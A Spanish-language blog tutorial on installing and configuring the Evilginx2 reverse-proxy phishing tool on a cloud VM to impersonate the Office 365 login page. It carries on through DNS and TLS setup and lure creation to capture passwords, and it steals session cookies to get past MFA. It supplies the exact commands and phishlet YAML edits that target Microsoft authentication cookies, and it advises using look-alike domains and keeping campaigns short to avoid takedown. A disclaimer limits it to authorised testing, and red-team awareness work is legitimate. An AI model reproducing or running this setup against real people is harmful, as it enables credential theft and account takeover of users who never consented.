Posted in

Phishing de otro nivel: Evilginx2

Advertencia: La información contenida en este post es solo con fines educativos o para realizar pruebas debidamente autorizadas. Comprometer cuentas sin consentimiento, puede ser considerado ilegal. Utilice este conocimiento bajo su propio riesgo.

Cuando pensamos en phishing, casi siempre asociamos un enlace bastante raro en un mensaje de correo, que nos lleva a una página mal elaborada que busca capturar nuestros datos. Si bien hay técnicas más «sofisticadas», como simular el diseño de los correos de una empresa conocida, embebiendo el enlace en imágenes o botones, son pocos los que finalmente tienen como destino un sitio web bien elaborado que engañe en una primera impresión a la víctima.

Si estamos realizando pruebas controladas de phishing, o algún ejercicio de Red Teaming, y queremos realmente medir el nivel de concientización de seguridad de nuestros usuarios, existe una herramienta de Ingeniería Social que nos puede ser muy útil: Evilginx2

Esta herramienta ha sido creada por Kuba Gretzky, y la puedes descargar desde aquí: https://github.com/kgretzky/evilginx2

En este post, veremos como realizar la instalación de la herramienta, y configurar un entorno para obtener contraseñas e incluso, evadir MFA


Bien, lo primero que debemos saber son las bondades que nos ofrece la herramienta, entre las cuales destacan:

  • Permite configurar un servicio DNS de manera automática, y permite generar un certificado TLS con Lets Encrypt, para que el sitio sea «más confiable».
  • Sirve como herramienta MITM, ya que Evilginx2 realiza la petición automática contra el sitio original, posterior a la captura de la contraseña y/o token de sesión.
  • Tiene sitios predeterminados para la mayoría de aplicaciones conocidas, tales como Twitter, Instagram, Office365, Amazon, LinkedIn, etc. (Phislets)
  • Es personalizable, permitiendo configurar los phishlets o las cabeceras HTTP
  • Puede evadir 2FA/MFA a través de la captura de tokens de sesión.

Para poder utilizar de manera óptima la herramienta, debemos tener en cuenta algunas consideraciones:

  1. Si bien se puede configurar para que funcione en un entorno local, lo ideal es disponer de un nombre de dominio válido. Algunos pueden ser muy baratos, y también muy parecidos a un dominio de una organización conocida, dependiendo de que tan creativo quieras ser.
  2. Disponer de una IP Pública para el host en donde se configure Evilginx2, esto permitirá que el servicio DNS creado por la herramienta resuelva las peticiones contra el dominio controlado por la herramienta. Se sugiere tener un entorno virtual en una nube pública. En nuestro caso, lo configuraremos en una máquina virtual dentro de Azure.
  3. Se sugiere hacer pruebas sobre un número reducido de usuarios en una ventana de tiempo corta. Si exponemos el servicio por mucho tiempo o de manera permanente, es posible que nuestro proveedor Cloud o de dominio, reciba peticiones de bloqueo hacia nosotros.

Con esto en mente, comencemos:

Configuración y uso de Evilginx2

Para nuestra demo, crearemos una máquina virtual Linux Debian en Azure, sobre la cual descargaremos la herramienta desde el repositorio oficial y lo instalaremos. La herramienta está escrita en Go, por lo que es necesario instalar algunos paquetes antes:

apt update -y
apt install golang -y
apt install git -y
apt install make -y
git clone https://github.com/kgretzky/evilginx2
cd evilginx2/
make
make install ##Esto solo se hace si se quiere instalar la herramienta en el sistema

Si bien es recomendable en todo entorno Linux utilizar un usuario común y ejecutar sudo para instalar alguna herramienta, en este caso sugerimos que se utilice el usuario root, ya que al ejecutar la herramienta, necesitaremos abrir el puerto 53 (DNS) y 443 (HTTPs).

Ahora iniciamos Evilginx2:

./evilginx

Ahora, antes de configurar los Phislets y Lures, debemos configurar nuestros DNS en el servicio donde hayamos adquirido nuestro dominio. En nuestro caso, vamos a utilizar el subdominio demo.labitacoradelhacker.com en nuestras pruebas, así que iremos a la configuración dentro de Godaddy:

Lo primero es agregar crear nuestros registros NS apuntando a la IP púbica de nuestro servidor:

Luego agregaremos registro de tipo A, apuntando a la dirección IP pública de nuestra MV en Azure:

Recordemos que la propagación de los registros NS podría tomar un tiempo, dependiendo de su proveedor de dominio, por lo que es importante esperar.

Una vez que completemos las configuraciones, debemos ejecutar las siguientes instrucciones dentro de Evilginx2

config domain demo.labitacoradelhacker.com #Reemplazar por tu propio dominio
config ip 20.X.X.X  #Reemplazar por tu propia IP Pública

Ahora configuraremos nuestro Phishlet, que para esta demo será la de Office 365

phishlets hostname o365 demo.labitacoradelhacker.com #reemplazar

Al momento de iniciar la herramienta, nos daremos cuenta que aún hay subdominios que configurar en nuestro panel DNS, para poder obtener cuales son, ejecutaremos el código phislets get-host o365. PAra este Phishlet, nos solicitará los subdominios login y www, los cuales configuraremos:

Una vez propagado, podemos iniciar:

phishlets enable o365

Al iniciar, Evilginx configurará los certificados TLS con Lets Encrypt para nuestros subdominios. En caso de que nos arroje algún error, solo debemos volver a iniciar la herramienta:

./bin/evilginx -p ./phishlets/

Si volvemos a iniciar la herramienta pasado el periodo de vencimiento del certificado, nos dará un error, por tanto debemos eliminar los certificados de la carpeta /root/.evilginx2/[certificado] y volver a ejecutar el comando phishlets enable o365

Todo listo para iniciar nuestro Lure:

lures create o365
lures edit 0 redirect_url [Colocar sitio de redirección]

Ten en cuenta que el redirect_url es un enlace de Youtube, a la canción Never Gonna Give you Up de Rick Astley: https://www.youtube.com/watch?v=dQw4w9WgXcQ, pero podemos modificarla a nuestro gusto, dependiendo el escenario que queramos construir.

Ahora, si compartimos el enlace https://login.demo.labitacoradelhacker.com, redireccionará a la URL que configuramos en el parámetro redirect_url, sin embargo, si compartimos el enlace a https://login.demo.labitacoradelhacker.com/wenezeck, nos mostrará lo siguiente:

Como se puede ver, no se tienen problemas de alertas con los certificados, ya que son completamente válidos, y la interfaz de inicio de sesión es la misma de Microsoft. Al ingresar la contraseña, podremos capturarla desde la consola de Evilginx:

Voilà! Hemos conseguido una contraseña de un usuario válido.

Desde la perspectiva del usuario, todo continua de manera correcta. Evilginx2 se encarga de redireccionar el sitio al portal de Office 365:

Evadiendo 2FA/MFA

Aunque hemos obtenido una contraseña válida, muchos usuarios utilizan un segundo factor como mecanismo de seguridad para la autenticación. En ese caso, podemos utilizar el mecanismo de captura de sesión de Evilginx. Tenemos dos opciones: utilizar el phishlet o365MFA, o personalizar el phishlet o365 para que capture los tokens de sesión. En mi caso opté por la segunda opción ya que no funcionó con el phishlet o365MFA:

Ejecutamos sessions [id] y veremos las cookies de sesión:

El cual usaremos para reemplazar en nuestro navegador:

Y así hemos conseguido suplantar la sesión del usuario:

Si el phishlet o365MFA no funciona (como en mi caso), puedes modificar el phishlet en la siguiente línea:

cd evilginx2/phishlets
vi o365.yaml

Y cambiar las siguientes líneas:

auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'SignInStateCookie']
  - domain: 'login.microsoftonline.com'
    keys: ['SignInStateCookie']

En caso no funcione, cambiar por lo siguiente:

domain: '.login.microsoftonline.com'
keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', '.*,regexp']

domain: 'login.microsoftonline.com'
keys: ['SignInStateCookie', '.*,regexp']

domain: 'login.live.com'
keys: ['.*,regexp']

domain: '.login.live.com'
keys: ['.*,regexp']